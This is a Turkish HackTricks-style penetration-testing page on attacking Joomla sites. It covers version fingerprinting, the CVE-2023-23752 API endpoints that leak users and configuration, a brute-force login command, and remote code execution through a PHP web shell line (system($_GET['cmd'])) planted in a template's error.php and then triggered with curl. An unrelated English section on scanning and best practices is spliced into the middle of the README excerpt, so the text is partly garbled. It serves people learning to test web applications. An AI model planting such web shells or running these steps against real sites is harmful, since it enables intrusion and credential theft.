hacktricks/network-services-pentesting/pentesting-web/joomla.md

145 lines
5.8 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Joomla
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> öğrenin!</strong></summary>
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? Ya da en son PEASS sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimizi**](https://opensea.io/collection/the-peass-family) görün
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **[💬](https://emojipedia.org/speech-balloon/) Discord grubuna** katılın veya [telegram grubuna](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin.**
* **Hacking püf noktalarınızı paylaşarak [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)** üzerinden PR gönderin.
</details>
### Joomla İstatistikleri
Joomla, Joomla kurulumlarında kullanılan Joomla, PHP ve veritabanı sürümlerinin ve sunucu işletim sistemlerinin ayrıntılı istatistiklerini toplar. Bu veriler, genel [API](https://developer.joomla.org/about/stats/api.html)leri üzerinden sorgulanabilir.
```bash
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
{
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
}
```
## Numaralandırma
### Keşif/Ayak İzi
* **meta** etiketlerini kontrol edin
```bash
curl https://www.joomla.org/ | grep Joomla | grep generator
<meta name="generator" content="Joomla! - Open Source Content Management" />
```
* robots.txt
```
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
```
* README.txt
---
## Joomla
### Joomla Version Identification
Joomla version can be identified by checking the following files:
- `administrator/manifests/files/joomla.xml`
- `libraries/joomla/version.php`
- `libraries/src/Version.php`
### Joomla Vulnerability Scanning
1. Use tools like JoomScan to scan for vulnerabilities in Joomla websites.
2. Manually check for common vulnerabilities like SQL injection, XSS, and CSRF.
### Exploiting Joomla Vulnerabilities
1. Exploit vulnerabilities like SQL injection by manipulating input fields.
2. Exploit XSS vulnerabilities by injecting malicious scripts into web pages.
3. Exploit CSRF vulnerabilities by tricking users into performing unintended actions.
### Joomla Password Cracking
1. Use tools like Hashcat to crack Joomla password hashes.
2. Utilize password dictionaries and brute force attacks to crack weak passwords.
### Joomla Security Best Practices
1. Keep Joomla and its extensions up to date to patch known vulnerabilities.
2. Use strong and unique passwords for Joomla admin accounts.
3. Implement security extensions like firewall plugins to enhance Joomla security.
---
```
1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
```
### Sürüm
* **/administrator/manifests/files/joomla.xml** dosyasında sürümü görebilirsiniz.
* **/language/en-GB/en-GB.xml** dosyasında Joomla'nın sürümünü alabilirsiniz.
* **plugins/system/cache/cache.xml** dosyasında yaklaşık bir sürümü görebilirsiniz.
```bash
droopescan scan joomla --url http://joomla-site.local/
```
### API Kimlik Doğrulaması Yapılmamış Bilgi Sızdırma:
4.0.0 ile 4.2.7 sürümleri, Kimlik doğrulaması yapılmamış bilgi sızdırma (CVE-2023-23752) açığına sahiptir ve kimlik bilgilerini ve diğer bilgileri sızdıracaktır.
* Kullanıcılar: `http://<host>/api/v1/users?public=true`
* Yapılandırma Dosyası: `http://<host>/api/index.php/v1/config/application?public=true`
**MSF Modülü**: `scanner/http/joomla_api_improper_access_checks` veya ruby script: [51334](https://www.exploit-db.com/exploits/51334)
### Kaba Kuvvet Saldırısı
Giriş yapmak için bu [script'i](https://github.com/ajnik/joomla-bruteforce) kullanabilirsiniz.
```shell-session
sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
admin:admin
```
## RCE
Eğer **yönetici kimlik bilgilerine** sahip olduysanız, **RCE içine girebilirsiniz** ve **RCE** elde etmek için bir **PHP kodu parçası ekleyebilirsiniz**. Bunun için bir **şablonu özelleştirerek** yapabiliriz.
1. `Yapılandırma` altında alt sol köşede **`Şablonlar`** üzerine **tıklayın** ve şablonlar menüsünü açın.
2. Bir **şablon adına tıklayın**. `Şablon` sütunu başlığı altında **`protostar`**'ı seçelim. Bu bizi **`Şablonlar: Özelleştir`** sayfasına götürecektir.
3. Son olarak, **sayfa kaynağını açmak için** bir sayfaya tıklayabilirsiniz. **`error.php`** sayfasını seçelim. Aşağıdaki gibi **kod yürütme elde etmek için PHP tek satırlık bir kod ekleyeceğiz**:
```php
system($_GET['cmd']);
```
4. **Kaydet ve Kapat**
5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id`